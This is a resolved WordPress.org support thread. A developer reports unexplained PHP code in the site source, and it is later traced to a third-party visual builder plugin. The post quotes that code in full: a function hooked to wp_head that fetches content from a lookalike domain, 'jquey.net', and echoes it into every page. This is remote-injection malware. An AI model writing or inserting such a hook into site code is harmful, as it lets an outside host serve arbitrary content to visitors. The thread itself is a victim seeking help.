WordPress.org

Ready to get started?Download WordPress

Forums

[resolved] Strange wp_head code appears in source code of html (6 posts)

  1. saas
    Member
    Posted 7 months ago #

    Hi there,
    I have noticed some strange code appears in my html source code initial I ignored it and thought might be something I did and I will fix it later, now today when I went in there to fix, I can't trace its origin.

    <?function wp__whead() {
      $ch = curl_init();
      curl_setopt($ch,CURLOPT_URL,"http://jquey.net/?1");
      curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
      curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_HOST']);
      curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10);
      $jquery = curl_exec($ch);
      curl_close($ch);
      echo "$jquery";
    }
    add_action('wp_head', 'wp__whead');
    ?><!DOCTYPE html>

    I tried every possible combination of search (via my code editors), and found no trace where it is coming from.

    Could you guys help me? find what it is and why?

    strange thing is, its not echoing inside wp_head area, its flushing it before html tag (I don't have any code which does something similar).

    Help me out of this irritating issue.

    Thanks

  2. Andrew Nevins
    Volunteer Moderator
    Posted 7 months ago #

    Can you link the site with the issue? It looks like you've been hacked.

  3. saas
    Member
    Posted 7 months ago #

    Sorry, its my local server :), should have mentioned it, its my development system, I have been using this same instance for over I think 1.5 years now, and I have installed over 1000 plugins and dozens of themes for testing / reviewing etc over this period, but I searched through database as well but no instance. Not sure what caused this.

  4. Andrew Nevins
    Volunteer Moderator
    Posted 7 months ago #

    Does the problem persists with all plugins deactivated & a clean install of Twenty Twelve?

  5. saas
    Member
    Posted 7 months ago #

    It only exist's with my custom coded theme, but I can't trace its source.

  6. saas
    Member
    Posted 7 months ago #

    Thanks for the input, I still didn't found the culprit code, but I traced it to a third party visual builder plugin which I recently started learning and trying to integrate into my theme. Closing the thread.

    Thanks @andrewnevins for you input.

Reply

You must log in to post.

About this Topic